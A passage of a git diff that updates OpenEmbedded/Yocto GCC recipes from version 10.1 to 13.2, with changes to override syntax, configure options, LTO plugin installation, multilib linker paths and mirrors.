+B = "${WORKDIR}/gcc-${PV}/build.${HOST_SYS}.${TARGET_SYS}"
+
+# Language Overrides
+FORTRAN = ""
+JAVA = ""
+
+SSP ?= "--disable-libssp"
+SSP:mingw32 = "--enable-libssp"
+
+EXTRA_OECONF_BASE = "\
+ ${SSP} \
+ --enable-libitm \
+ --enable-lto \
+ --disable-bootstrap \
+ --with-system-zlib \
+ ${@'--with-linker-hash-style=${LINKER_HASH_STYLE}' if '${LINKER_HASH_STYLE}' else ''} \
+ --enable-linker-build-id \
+ --with-ppl=no \
+ --with-cloog=no \
+ --enable-checking=release \
+ --enable-cheaders=c_global \
+ --without-isl \
+"
+
+EXTRA_OECONF_INITIAL = "\
+ --disable-libgomp \
+ --disable-libitm \
+ --disable-libquadmath \
+ --with-system-zlib \
+ --disable-lto \
+ --disable-plugin \
+ --enable-linker-build-id \
+ --enable-decimal-float=no \
+ --without-isl \
+ --disable-libssp \
+"
+
+EXTRA_OECONF_PATHS = "\
+ --with-gxx-include-dir=/not/exist{target_includedir}/c++/${BINV} \
+ --with-sysroot=/not/exist \
+ --with-build-sysroot=${STAGING_DIR_TARGET} \
+"
+
+CVE_STATUS[CVE-2021-37322] = "cpe-incorrect: Is a binutils 2.26 issue, not gcc"
+CVE_STATUS[CVE-2023-4039] = "fixed-version: Fixed via CVE-2023-4039.patch included here. Set the status explictly to deal with all recipes that share the gcc-source"
diff --git a/meta/recipes-devtools/gcc/gcc-common.inc b/meta/recipes-devtools/gcc/gcc-common.inc
index 3dcfdf835f..5ac82b1b57 100644
--- a/meta/recipes-devtools/gcc/gcc-common.inc
+++ b/meta/recipes-devtools/gcc/gcc-common.inc
@@ -1,5 +1,6 @@
SUMMARY = "GNU cc and gcc C compilers"
HOMEPAGE = "http://www.gnu.org/software/gcc/"
+DESCRIPTION = "The GNU Compiler Collection includes front ends for C, C++, Objective-C, Fortran, Ada, Go, and D, as well as libraries for these languages (libstdc++,...). GCC was originally written as the compiler for the GNU operating system."
SECTION = "devel"
LICENSE = "GPL"
@@ -10,8 +11,7 @@ CVE_PRODUCT = "gcc"
inherit autotools gettext texinfo
BPN = "gcc"
-COMPILERDEP = "virtual/${MLPREFIX}${TARGET_PREFIX}gcc:do_gcc_stash_builddir"
-COMPILERDEP_class-nativesdk = "virtual/${TARGET_PREFIX}gcc-crosssdk:do_gcc_stash_builddir"
+COMPILERDEP = "virtual/${TARGET_PREFIX}gcc:do_gcc_stash_builddir"
python extract_stashed_builddir () {
src = d.expand("${COMPONENTS_DIR}/${BUILD_ARCH}/gcc-stashed-builddir-${TARGET_SYS}")
@@ -31,6 +31,16 @@ def get_gcc_float_setting(bb, d):
get_gcc_float_setting[vardepvalue] = "${@get_gcc_float_setting(bb, d)}"
+def get_gcc_x86_64_arch_setting(bb, d):
+ import re
+ march = re.match(r'^.*-march=([^\s]*)', d.getVar('TUNE_CCARGS'))
+ if march:
+ return "--with-arch=%s " % march.group(1)
+ # The earliest supported x86-64 CPU
+ return "--with-arch=core2"
+
+get_gcc_x86_64_arch_setting[vardepvalue] = "${@get_gcc_x86_64_arch_setting(bb, d)}"
+
def get_gcc_mips_plt_setting(bb, d):
if d.getVar('TRANSLATED_TARGET_ARCH') in [ 'mips', 'mipsel' ] and bb.utils.contains('DISTRO_FEATURES', 'mplt', True, False, d):
return "--with-mips-plt"
@@ -82,14 +92,10 @@ def get_tune_parameters(tune, d):
get_tune_parameters[vardepsexclude] = "AVAILTUNES TUNE_CCARGS OVERRIDES TUNE_FEATURES BASE_LIB BASELIB TUNE_ARCH ABIEXTENSION TARGET_FPU TUNE_PKGARCH PACKAGE_EXTRA_ARCHS"
-DEBIANNAME_${MLPREFIX}libgcc = "libgcc1"
+DEBIANNAME:${MLPREFIX}libgcc = "libgcc1"
MIRRORS =+ "\
-${GNU_MIRROR}/gcc ftp://gcc.gnu.org/pub/gcc/releases/ \n \
-${GNU_MIRROR}/gcc ftp://gd.tuwien.ac.at/gnu/gcc/ \n \
-${GNU_MIRROR}/gcc http://mirrors.rcn.net/pub/sourceware/gcc/releases/ \n \
-${GNU_MIRROR}/gcc http://gcc.get-software.com/releases/ \n \
-${GNU_MIRROR}/gcc http://gcc.get-software.com/releases/ \n \
+ ${GNU_MIRROR}/gcc https://gcc.gnu.org/pub/gcc/releases/ \
"
#
# Set some default values
@@ -99,7 +105,7 @@ BINV = "${PV}"
#S = "${WORKDIR}/gcc-${PV}"
S = "${TMPDIR}/work-shared/gcc-${PV}-${PR}/gcc-${PV}"
-B = "${WORKDIR}/gcc-${PV}/build.${HOST_SYS}.${TARGET_SYS}"
+B ?= "${WORKDIR}/gcc-${PV}/build.${HOST_SYS}.${TARGET_SYS}"
target_includedir ?= "${includedir}"
target_libdir ?= "${libdir}"
diff --git a/meta/recipes-devtools/gcc/gcc-configure-common.inc b/meta/recipes-devtools/gcc/gcc-configure-common.inc
index 6cb40fcb74..dba25eb754 100644
--- a/meta/recipes-devtools/gcc/gcc-configure-common.inc
+++ b/meta/recipes-devtools/gcc/gcc-configure-common.inc
@@ -34,7 +34,6 @@ EXTRA_OECONF = "\
--program-prefix=${TARGET_PREFIX} \
--without-local-prefix \
--disable-install-libiberty \
- --with-specs=%{!fno-common:%{!fcommon:-fcommon}} \
${EXTRA_OECONF_BASE} \
${EXTRA_OECONF_GCC_FLOAT} \
${EXTRA_OECONF_PATHS} \
@@ -45,27 +44,27 @@ EXTRA_OECONF = "\
# glibc version is a minimum controlling whether features are enabled.
# Doesn't need to track glibc exactly
-EXTRA_OECONF_append_libc-glibc = " --with-glibc-version=2.28 "
+EXTRA_OECONF:append:libc-glibc = " --with-glibc-version=2.28 "
# Set this here since GCC configure won't auto-detect and enable
# initfini-arry when cross compiling.
-EXTRA_OECONF_append = " --enable-initfini-array"
+EXTRA_OECONF:append = " --enable-initfini-array"
export gcc_cv_collect2_libs = 'none required'
# We need to set gcc_cv_collect2_libs else there is cross-compilation badness
# in the config.log files (which might not get generated until do_compile
# hence being missed by the insane do_configure check).
-EXTRA_OECONF_append_linux = " --enable-__cxa_atexit"
+EXTRA_OECONF:append:linux = " --enable-__cxa_atexit"
-EXTRA_OECONF_append_mips64 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
-EXTRA_OECONF_append_mips64el = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
-EXTRA_OECONF_append_mips64n32 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
-EXTRA_OECONF_append_mips64eln32 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
-EXTRA_OECONF_append_mipsisa32r6el = " --with-abi=32 --with-arch=mips32r6"
-EXTRA_OECONF_append_mipsisa32r6 = " --with-abi=32 --with-arch=mips32r6"
-EXTRA_OECONF_append_mipsisa64r6el = " --with-abi=64 --with-arch-64=mips64r6"
-EXTRA_OECONF_append_mipsisa64r6 = " --with-abi=64 --with-arch-64=mips64r6"
+EXTRA_OECONF:append:mips64 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
+EXTRA_OECONF:append:mips64el = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
+EXTRA_OECONF:append:mips64n32 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
+EXTRA_OECONF:append:mips64eln32 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
+EXTRA_OECONF:append:mipsisa32r6el = " --with-abi=32 --with-arch=mips32r6"
+EXTRA_OECONF:append:mipsisa32r6 = " --with-abi=32 --with-arch=mips32r6"
+EXTRA_OECONF:append:mipsisa64r6el = " --with-abi=64 --with-arch-64=mips64r6"
+EXTRA_OECONF:append:mipsisa64r6 = " --with-abi=64 --with-arch-64=mips64r6"
EXTRA_OECONF_GCC_FLOAT ??= ""
CPPFLAGS = ""
@@ -74,7 +73,7 @@ SYSTEMHEADERS = "${target_includedir}"
SYSTEMLIBS = "${target_base_libdir}/"
SYSTEMLIBS1 = "${target_libdir}/"
-do_configure_prepend () {
+do_configure:prepend () {
# teach gcc to find correct target includedir when checking libc ssp support
mkdir -p ${B}/gcc
echo "NATIVE_SYSTEM_HEADER_DIR = ${SYSTEMHEADERS}" > ${B}/gcc/t-oe
diff --git a/meta/recipes-devtools/gcc/gcc-cross-canadian.inc b/meta/recipes-devtools/gcc/gcc-cross-canadian.inc
index 553ef7fe62..ec87b46219 100644
--- a/meta/recipes-devtools/gcc/gcc-cross-canadian.inc
+++ b/meta/recipes-devtools/gcc/gcc-cross-canadian.inc
@@ -3,12 +3,13 @@ inherit cross-canadian
SUMMARY = "GNU cc and gcc C compilers (cross-canadian for ${TARGET_ARCH} target)"
PN = "gcc-cross-canadian-${TRANSLATED_TARGET_ARCH}"
-DEPENDS = "virtual/${TARGET_PREFIX}gcc virtual/${HOST_PREFIX}gcc-crosssdk virtual/${HOST_PREFIX}binutils-crosssdk virtual/nativesdk-libc nativesdk-gettext flex-native virtual/libc"
+DEPENDS = "virtual/${TARGET_PREFIX}gcc virtual/${HOST_PREFIX}gcc virtual/${HOST_PREFIX}binutils virtual/nativesdk-libc nativesdk-gettext flex-native virtual/libc"
GCCMULTILIB = "--enable-multilib"
require gcc-configure-common.inc
+EXTRA_OECONF += "--with-plugin-ld=ld"
EXTRA_OECONF_PATHS = "\
--with-gxx-include-dir=/not/exist${target_includedir}/c++/${BINV} \
--with-build-time-tools=${STAGING_DIR_NATIVE}${prefix_native}/${TARGET_SYS}/bin \
@@ -45,6 +46,9 @@ export WINDRES_FOR_TARGET = "${TARGET_PREFIX}windres"
export ARCH_FLAGS_FOR_TARGET = "--sysroot=${STAGING_DIR_TARGET}"
do_configure () {
+ if [ ! -d ${RECIPE_SYSROOT}/${target_includedir} ]; then
+ mkdir -p ${RECIPE_SYSROOT}/${target_includedir}
+ fi
export CC_FOR_BUILD="${BUILD_CC}"
export CXX_FOR_BUILD="${BUILD_CXX}"
export CFLAGS_FOR_BUILD="${BUILD_CFLAGS}"
@@ -65,7 +69,7 @@ do_compile () {
PACKAGES = "${PN}-dbg ${PN} ${PN}-doc"
-FILES_${PN} = "\
+FILES:${PN} = "\
${exec_prefix}/bin/* \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/* \
${gcclibdir}/${TARGET_SYS}/${BINV}/*.o \
@@ -75,14 +79,15 @@ FILES_${PN} = "\
${gcclibdir}/${TARGET_SYS}/${BINV}/include-fixed \
${gcclibdir}/${TARGET_SYS}/${BINV}/plugin/include/ \
${gcclibdir}/${TARGET_SYS}/${BINV}/plugin/gtype.* \
+ ${libdir}/bfd-plugins/*.so \
${includedir}/c++/${BINV} \
${prefix}/${TARGET_SYS}/bin/* \
${prefix}/${TARGET_SYS}/lib/* \
${prefix}/${TARGET_SYS}${target_includedir}/* \
"
-INSANE_SKIP_${PN} += "dev-so"
+INSANE_SKIP:${PN} += "dev-so"
-FILES_${PN}-doc = "\
+FILES:${PN}-doc = "\
${infodir} \
${mandir} \
${gcclibdir}/${TARGET_SYS}/${BINV}/include/README \
@@ -92,6 +97,8 @@ EXEEXT = ""
# Compute how to get from libexecdir to bindir in python (easier than shell)
BINRELPATH = "${@os.path.relpath(d.expand("${bindir}"), d.expand("${libexecdir}/gcc/${TARGET_SYS}/${BINV}"))}"
+# linker plugin path
+LIBRELPATH = "${@os.path.relpath(d.expand("${libexecdir}/gcc/${TARGET_SYS}/${BINV}"), d.expand("${libdir}/bfd-plugins"))}"
do_install () {
( cd ${B}/${TARGET_SYS}/libgcc; oe_runmake 'DESTDIR=${D}' install-unwind_h-forbuild install-unwind_h )
@@ -106,7 +113,7 @@ do_install () {
rm -f ${D}${bindir}/*c++
# We don't care about the gcc-<version> copies
- rm -f ${D}${bindir}/*gcc-?.?*
+ rm -f ${D}${bindir}/*gcc-${BINV}*
# Cleanup empty directories which are not shipped
# we use rmdir instead of 'rm -f' to ensure the non empty directories are not deleted
@@ -121,38 +128,60 @@ do_install () {
dest=${D}${libexecdir}/gcc/${TARGET_SYS}/${BINV}/
install -d $dest
suffix=${EXEEXT}
- for t in ar as ld nm objcopy objdump ranlib strip g77 gcc cpp gfortran; do
+ for t in ar as ld ld.bfd ld.gold nm objcopy objdump ranlib strip g77 gcc cpp gfortran; do
if [ "$t" = "g77" -o "$t" = "gfortran" ] && [ ! -e ${D}${bindir}/${TARGET_PREFIX}$t$suffix ]; then
continue
fi
ln -sf ${BINRELPATH}/${TARGET_PREFIX}$t$suffix $dest$t$suffix
done
- t=real-ld
- ln -sf ${BINRELPATH}/${TARGET_PREFIX}ld$suffix $dest$t$suffix
# libquadmath headers need to be available in the gcc libexec dir
install -d ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include/
cp ${S}/libquadmath/quadmath.h ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include/
cp ${S}/libquadmath/quadmath_weak.h ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include/
+ # install LTO linker plugins where binutils tools can find it
+ install -d ${D}${libdir}/bfd-plugins
+ ln -sf ${LIBRELPATH}/liblto_plugin.so ${D}${libdir}/bfd-plugins/liblto_plugin.so
+
chown -R root:root ${D}
-
+
cross_canadian_bindirlinks
+
+ for i in linux ${CANADIANEXTRAOS}
+ do
+ for v in ${CANADIANEXTRAVENDOR}
+ do
+ d=${D}${bindir}/../${TARGET_ARCH}$v-$i
+ install -d $d
+ for j in ${TARGET_PREFIX}gcc${EXEEXT} ${TARGET_PREFIX}g++${EXEEXT}
+ do
+ p=${TARGET_ARCH}$v-$i-`echo $j | sed -e s,${TARGET_PREFIX},,`
+ case $i in
+ *musl*)
+ rm -rf $d/$p
+ echo "#!/usr/bin/env sh" > $d/$p
+ echo "exec \`dirname \$0\`/../${TARGET_SYS}/$j -mmusl \$@" >> $d/$p
+ chmod 0755 $d/$p
+ ;;
+ *)
+ ;;
+ esac
+ done
+ done
+ done
}
ELFUTILS = "nativesdk-elfutils"
-DEPENDS += "nativesdk-gmp nativesdk-mpfr nativesdk-libmpc ${ELFUTILS} nativesdk-zlib"
-RDEPENDS_${PN} += "nativesdk-mpfr nativesdk-libmpc ${ELFUTILS}"
+DEPENDS += "nativesdk-gmp nativesdk-mpfr nativesdk-libmpc ${ELFUTILS} nativesdk-zlib nativesdk-zstd"
+RDEPENDS:${PN} += "nativesdk-mpfr nativesdk-libmpc ${ELFUTILS}"
SYSTEMHEADERS = "${target_includedir}/"
SYSTEMLIBS = "${target_base_libdir}/"
SYSTEMLIBS1 = "${target_libdir}/"
EXTRA_OECONF += "--enable-poison-system-directories"
-EXTRA_OECONF_remove_elf = "--with-sysroot=/not/exist"
-EXTRA_OECONF_remove_eabi = "--with-sysroot=/not/exist"
-EXTRA_OECONF_append_elf = " --without-headers --with-newlib"
-EXTRA_OECONF_append_eabi = " --without-headers --with-newlib"
+
# gcc 4.7 needs -isystem
export ARCH_FLAGS_FOR_TARGET = "--sysroot=${STAGING_DIR_TARGET} -isystem=${target_includedir}"
diff --git a/meta/recipes-devtools/gcc/gcc-cross-canadian_10.1.bb b/meta/recipes-devtools/gcc/gcc-cross-canadian_13.2.bb
index bf53c5cd78..bf53c5cd78 100644
--- a/meta/recipes-devtools/gcc/gcc-cross-canadian_10.1.bb
+++ b/meta/recipes-devtools/gcc/gcc-cross-canadian_13.2.bb
diff --git a/meta/recipes-devtools/gcc/gcc-cross.inc b/meta/recipes-devtools/gcc/gcc-cross.inc
index 6fa8c274cd..a540fb2434 100644
--- a/meta/recipes-devtools/gcc/gcc-cross.inc
+++ b/meta/recipes-devtools/gcc/gcc-cross.inc
@@ -21,8 +21,8 @@ require gcc-configure-common.inc
# gnu) will hit a QA failure.
LINKER_HASH_STYLE ?= "sysv"
-EXTRA_OECONF += "--enable-poison-system-directories"
-EXTRA_OECONF_append_sh4 = " \
+EXTRA_OECONF += "--enable-poison-system-directories=error"
+EXTRA_OECONF:append:sh4 = " \
--with-multilib-list= \
--enable-incomplete-targets \
"
@@ -31,9 +31,9 @@ EXTRA_OECONF += "\
--with-system-zlib \
"
-EXTRA_OECONF_append_libc-baremetal = " --without-headers"
-EXTRA_OECONF_remove_libc-baremetal = "--enable-threads=posix"
-EXTRA_OECONF_remove_libc-newlib = "--enable-threads=posix"
+EXTRA_OECONF:append:libc-baremetal = " --without-headers"
+EXTRA_OECONF:remove:libc-baremetal = "--enable-threads=posix"
+EXTRA_OECONF:remove:libc-newlib = "--enable-threads=posix"
EXTRA_OECONF_PATHS = "\
--with-gxx-include-dir=/not/exist${target_includedir}/c++/${BINV} \
@@ -44,7 +44,7 @@ EXTRA_OECONF_PATHS = "\
ARCH_FLAGS_FOR_TARGET += "-isystem${STAGING_DIR_TARGET}${target_includedir}"
-do_configure_prepend () {
+do_configure:prepend () {
install -d ${RECIPE_SYSROOT}${target_includedir}
touch ${RECIPE_SYSROOT}${target_includedir}/limits.h
}
@@ -83,6 +83,8 @@ INHIBIT_PACKAGE_STRIP = "1"
# Compute how to get from libexecdir to bindir in python (easier than shell)
BINRELPATH = "${@os.path.relpath(d.expand("${STAGING_DIR_NATIVE}${prefix_native}/bin/${TARGET_SYS}"), d.expand("${libexecdir}/gcc/${TARGET_SYS}/${BINV}"))}"
+# linker plugin path
+LIBRELPATH = "${@os.path.relpath(d.expand("${libexecdir}/gcc/${TARGET_SYS}/${BINV}"), d.expand("${STAGING_LIBDIR_NATIVE}/${TARGET_SYS}/bfd-plugins"))}"
do_install () {
( cd ${B}/${TARGET_SYS}/libgcc; oe_runmake 'DESTDIR=${D}' install-unwind_h-forbuild install-unwind_h )
@@ -92,7 +94,7 @@ do_install () {
install -d ${D}${target_libdir}
# Link gfortran to g77 to satisfy not-so-smart configure or hard coded g77
- # gfortran is fully backwards compatible. This is a safe and practical solution.
+ # gfortran is fully backwards compatible. This is a safe and practical solution.
if [ -n "${@d.getVar('FORTRAN')}" ]; then
ln -sf ${STAGING_DIR_NATIVE}${prefix_native}/bin/${TARGET_PREFIX}gfortran ${STAGING_DIR_NATIVE}${prefix_native}/bin/${TARGET_PREFIX}g77 || true
fortsymlinks="g77 gfortran"
@@ -118,6 +120,10 @@ do_install () {
cp ${S}/libquadmath/quadmath_weak.h ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include/
find ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include-fixed -type f -not -name "README" -not -name limits.h -not -name syslimits.h | xargs rm -f
+
+ # install LTO linker plugins where binutils tools can find it
+ install -d ${D}${libdir}/bfd-plugins
+ ln -sf ${LIBRELPATH}/liblto_plugin.so ${D}${libdir}/bfd-plugins/liblto_plugin.so
}
do_package[noexec] = "1"
@@ -143,6 +149,7 @@ do_gcc_stash_builddir () {
# Makefile does move-if-change which can end up with 'timestamp' as file contents so break links to those files
rm $dest/gcc/include/*.h
cp gcc/include/*.h $dest/gcc/include/
+ sysroot-relativelinks.py $dest
}
addtask do_gcc_stash_builddir after do_compile before do_install
SSTATETASKS += "do_gcc_stash_builddir"
diff --git a/meta/recipes-devtools/gcc/gcc-cross_10.1.bb b/meta/recipes-devtools/gcc/gcc-cross_13.2.bb
index b43cca0c52..b43cca0c52 100644
--- a/meta/recipes-devtools/gcc/gcc-cross_10.1.bb
+++ b/meta/recipes-devtools/gcc/gcc-cross_13.2.bb
diff --git a/meta/recipes-devtools/gcc/gcc-crosssdk.inc b/meta/recipes-devtools/gcc/gcc-crosssdk.inc
index bd2e71d63f..7eaad2314c 100644
--- a/meta/recipes-devtools/gcc/gcc-crosssdk.inc
+++ b/meta/recipes-devtools/gcc/gcc-crosssdk.inc
@@ -8,5 +8,7 @@ SYSTEMLIBS1 = "${SDKPATHNATIVE}${libdir_nativesdk}/"
GCCMULTILIB = "--disable-multilib"
-DEPENDS = "virtual/${TARGET_PREFIX}binutils-crosssdk gettext-native ${NATIVEDEPS}"
-PROVIDES = "virtual/${TARGET_PREFIX}gcc-crosssdk virtual/${TARGET_PREFIX}g++-crosssdk"
+DEPENDS = "virtual/${TARGET_PREFIX}binutils gettext-native ${NATIVEDEPS}"
+PROVIDES = "virtual/${TARGET_PREFIX}gcc virtual/${TARGET_PREFIX}g++"
+
+gcc_multilib_setup[vardepsexclude] = "MULTILIB_VARIANTS"
diff --git a/meta/recipes-devtools/gcc/gcc-crosssdk_10.1.bb b/meta/recipes-devtools/gcc/gcc-crosssdk_13.2.bb
index 40a6c4feff..40a6c4feff 100644
--- a/meta/recipes-devtools/gcc/gcc-crosssdk_10.1.bb
+++ b/meta/recipes-devtools/gcc/gcc-crosssdk_13.2.bb
diff --git a/meta/recipes-devtools/gcc/gcc-multilib-config.inc b/meta/recipes-devtools/gcc/gcc-multilib-config.inc
index 31b8619be3..2dbbc23c94 100644
--- a/meta/recipes-devtools/gcc/gcc-multilib-config.inc
+++ b/meta/recipes-devtools/gcc/gcc-multilib-config.inc
@@ -31,7 +31,9 @@ python gcc_multilib_setup() {
'%s/*/linux64.h' % src_conf_dir,
'%s/aarch64/t-aarch64' % src_conf_dir,
'%s/aarch64/aarch64.h' % src_conf_dir,
+ '%s/aarch64/aarch64-linux.h' % src_conf_dir,
'%s/aarch64/aarch64-cores.def' % src_conf_dir,
+ '%s/arm/linux-eabi.h' % src_conf_dir,
'%s/*/linux.h' % src_conf_dir,
'%s/linux.h' % src_conf_dir)
@@ -102,6 +104,8 @@ python gcc_multilib_setup() {
r'\1' + wrap_libdir(libdir64) + r'\3'),
(r'^(#define\s*GLIBC_DYNAMIC_LINKER64\s*\"\S+\"\s*)(\S+)(\s*\"\S+\"\s*)(\S+)(\s*\".*\")$',
r'\1' + wrap_libdir(libdir64) + r'\3' + wrap_libdir(libdir64) + r'\5'),
+ (r'^(#define\s*GLIBC_DYNAMIC_LINKER\b\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdir32) + r'\3'),
(r'^(#define\s*GLIBC_DYNAMIC_LINKERX32\s*)(\S+)(\s*\".*\")$',
r'\1' + wrap_libdir(libdirx32) + r'\3'),
(r'^(#define\s*GLIBC_DYNAMIC_LINKERN32\s*)(\S+)(\s*\".*\")$',
@@ -112,8 +116,18 @@ python gcc_multilib_setup() {
r'\1' + wrap_libdir(libdir64) + r'\3'),
(r'^(#define\s*UCLIBC_DYNAMIC_LINKERN32\s*)(\S+)(\s*\".*\")$',
r'\1' + wrap_libdir(libdirn32) + r'\3'),
+ (r'^(#define\s*UCLIBC_DYNAMIC_LINKERX32\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdirx32) + r'\3'),
(r'^(#define\s*UCLIBC_DYNAMIC_LINKER\b\s*)(\S+)(\s*\".*\")$',
r'\1' + wrap_libdir(libdir32) + r'\3'),
+ (r'^(#define\s*MUSL_DYNAMIC_LINKER32\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdir32) + r'\3'),
+ (r'^(#define\s*MUSL_DYNAMIC_LINKER64\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdir64) + r'\3'),
+ (r'^(#define\s*MUSL_DYNAMIC_LINKERX32\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdirx32) + r'\3'),
+ (r'^(#define\s*MUSL_DYNAMIC_LINKER\b\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdir32) + r'\3'),
]
for (i, line) in enumerate(filelines):
@@ -138,15 +152,15 @@ python gcc_multilib_setup() {
}
gcc_header_config_files = {
- 'x86_64' : ['gcc/config/i386/linux64.h'],
- 'i586' : ['gcc/config/i386/linux64.h'],
- 'i686' : ['gcc/config/i386/linux64.h'],
- 'mips' : ['gcc/config/mips/linux.h', 'gcc/config/mips/linux64.h'],
- 'mips64' : ['gcc/config/mips/linux.h', 'gcc/config/mips/linux64.h'],
- 'powerpc' : ['gcc/config/rs6000/linux64.h'],
- 'powerpc64' : ['gcc/config/rs6000/linux64.h'],
- 'aarch64' : ['gcc/config/aarch64/aarch64.h'],
- 'arm' : ['gcc/config/aarch64/aarch64.h'],
+ 'x86_64' : ['gcc/config/linux.h', 'gcc/config/i386/linux.h', 'gcc/config/i386/linux64.h'],
+ 'i586' : ['gcc/config/linux.h', 'gcc/config/i386/linux.h', 'gcc/config/i386/linux64.h'],
+ 'i686' : ['gcc/config/linux.h', 'gcc/config/i386/linux.h', 'gcc/config/i386/linux64.h'],
+ 'mips' : ['gcc/config/linux.h', 'gcc/config/mips/linux.h', 'gcc/config/mips/linux64.h'],
+ 'mips64' : ['gcc/config/linux.h', 'gcc/config/mips/linux.h', 'gcc/config/mips/linux64.h'],
+ 'powerpc' : ['gcc/config/linux.h', 'gcc/config/rs6000/linux64.h'],
+ 'powerpc64' : ['gcc/config/linux.h', 'gcc/config/rs6000/linux64.h'],
+ 'aarch64' : ['gcc/config/linux.h', 'gcc/config/aarch64/aarch64-linux.h', 'gcc/config/arm/linux-eabi.h'],
+ 'arm' : ['gcc/config/linux.h', 'gcc/config/aarch64/aarch64-linux.h', 'gcc/config/arm/linux-eabi.h'],
}
libdir32 = 'SYSTEMLIBS_DIR'
@@ -170,7 +184,7 @@ python gcc_multilib_setup() {
header_config_files = gcc_header_config_files[target_arch]
ml_list = ['DEFAULTTUNE_MULTILIB_ORIGINAL' if mlprefix else 'DEFAULTTUNE']
- mltunes = [('DEFAULTTUNE_virtclass-multilib-%s' % ml) for ml in multilibs]
+ mltunes = [('DEFAULTTUNE:virtclass-multilib-%s' % ml) for ml in multilibs]
if mlprefix:
mlindex = 0
for ml in multilibs:
diff --git a/meta/recipes-devtools/gcc/gcc-runtime.inc b/meta/recipes-devtools/gcc/gcc-runtime.inc
index df1432e68d..dbc9141000 100644
--- a/meta/recipes-devtools/gcc/gcc-runtime.inc
+++ b/meta/recipes-devtools/gcc/gcc-runtime.inc
@@ -6,7 +6,7 @@ SUMMARY = "Runtime libraries from GCC"
# All gcc-runtime packages are now covered by the runtime exception.
LICENSE = "GPL-3.0-with-GCC-exception"
-CXXFLAGS_remove = "-fvisibility-inlines-hidden"
+CXXFLAGS:remove = "-fvisibility-inlines-hidden"
EXTRA_OECONF_PATHS = "\
--with-gxx-include-dir=${includedir}/c++/${BINV} \
@@ -14,63 +14,57 @@ EXTRA_OECONF_PATHS = "\
--with-build-sysroot=${STAGING_DIR_TARGET} \
"
-EXTRA_OECONF_append_linuxstdbase = " --enable-clocale=gnu"
-EXTRA_OECONF_append = " --cache-file=${B}/config.cache"
-EXTRA_OECONF_append_libc-newlib = " --with-newlib"
+EXTRA_OECONF:append:linuxstdbase = " --enable-clocale=gnu"
+EXTRA_OECONF:append = " --cache-file=${B}/config.cache"
+EXTRA_OECONF:append:libc-newlib = " --with-newlib --with-target-subdir"
+EXTRA_OECONF:append:libc-baremetal = " --with-target-subdir"
# Disable ifuncs for libatomic on arm conflicts -march/-mcpu
-EXTRA_OECONF_append_arm = " libat_cv_have_ifunc=no "
-EXTRA_OECONF_append_armeb = " libat_cv_have_ifunc=no "
+EXTRA_OECONF:append:arm = " libat_cv_have_ifunc=no "
+EXTRA_OECONF:append:armeb = " libat_cv_have_ifunc=no "
-DISABLE_STATIC_class-nativesdk ?= ""
+DISABLE_STATIC:class-nativesdk ?= ""
# Newlib does not support symbol versioning on libsdtcc++
-SYMVERS_CONF_libc-newlib = ""
+SYMVERS_CONF:libc-newlib = ""
# Building with thumb enabled on armv6t fails
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
RUNTIMELIBITM = "libitm"
-RUNTIMELIBITM_arc = ""
-RUNTIMELIBITM_mipsarch = ""
-RUNTIMELIBITM_nios2 = ""
-RUNTIMELIBITM_microblaze = ""
-RUNTIMELIBITM_riscv32 = ""
-RUNTIMELIBITM_riscv64 = ""
+RUNTIMELIBITM:arc = ""
+RUNTIMELIBITM:mipsarch = ""
+RUNTIMELIBITM:nios2 = ""
+RUNTIMELIBITM:microblaze = ""
+RUNTIMELIBITM:riscv32 = ""
+RUNTIMELIBITM:riscv64 = ""
+RUNTIMELIBITM:loongarch64 = ""
RUNTIMELIBSSP ?= ""
-RUNTIMELIBSSP_mingw32 ?= "libssp"
+RUNTIMELIBSSP:mingw32 ?= "libssp"
RUNTIMETARGET = "${RUNTIMELIBSSP} libstdc++-v3 libgomp libatomic ${RUNTIMELIBITM} \
${@bb.utils.contains_any('FORTRAN', [',fortran',',f77'], 'libquadmath', '', d)} \
"
# Only build libstdc++ for newlib
-RUNTIMETARGET_libc-newlib = "libstdc++-v3"
+RUNTIMETARGET:libc-newlib = "libstdc++-v3"
# libiberty
# libgfortran needs separate recipe due to libquadmath dependency
-SLIB = "${TMPDIR}/work-shared/gcc-${PV}-${PR}/gcc-${PV}"
-SLIB_NEW = "/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
-
-DEBUG_PREFIX_MAP_class-target = " \
- -fdebug-prefix-map=${WORKDIR}/recipe-sysroot= \
- -fdebug-prefix-map=${WORKDIR}/recipe-sysroot-native= \
- -fdebug-prefix-map=${SLIB}=${SLIB_NEW} \
- -fdebug-prefix-map=${SLIB}/include=${SLIB_NEW}/libstdc++-v3/../include \
- -fdebug-prefix-map=${SLIB}/libiberty=${SLIB_NEW}/libstdc++-v3/../libiberty \
- -fdebug-prefix-map=${B}=${SLIB_NEW} \
- "
-
do_configure () {
- export CXX="${CXX} -nostdinc++ -nostdlib++"
+ export CXX="${CXX} -nostdinc++ -L${WORKDIR}/dummylib"
+ # libstdc++ isn't built yet so CXX would error not able to find it which breaks stdc++'s configure
+ # tests. Create a dummy empty lib for the purposes of configure.
+ mkdir -p ${WORKDIR}/dummylib
+ ${CC} -x c /dev/null -c -o ${WORKDIR}/dummylib/dummylib.o
